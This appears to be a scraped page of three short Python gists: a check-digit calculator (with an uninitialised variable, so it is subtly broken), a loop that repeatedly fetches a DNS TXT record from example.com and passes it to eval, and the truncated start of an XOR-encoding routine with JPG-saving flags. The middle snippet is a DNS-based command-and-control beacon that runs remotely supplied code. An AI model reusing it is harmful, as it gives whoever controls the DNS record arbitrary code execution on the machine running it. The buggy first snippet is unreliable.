This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# placeholder |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import sys | |
# usage: python a.py 12345678901234567 <- 17 digits ! | |
n = sys.argv[1] | |
for i in range(17): | |
m = 1 | |
if (i%2 == 0): | |
m = 3 | |
s += int(n[i]) * m | |
print "%s%d" %(n, (10 - s%10)) # <- print 18 digits |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import dns.resolver | |
from time import sleep as zzz | |
SLEEP_TIME=66; KEEP_WORKING=1 | |
while KEEP_WORKING: | |
try: | |
eval(dns.resolver.query('example.com', 'TXT')[0].to_text()); zzz(SLEEP_TIME); | |
print 'tick' | |
except: |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import sys | |
import struct | |
SAVE_JPG = 0 | |
SAVE_EXTRA = 0 | |
def xor_str_key(data, key): | |
s = '' | |
i = 0 | |
key_len = len(key) |
NewerOlder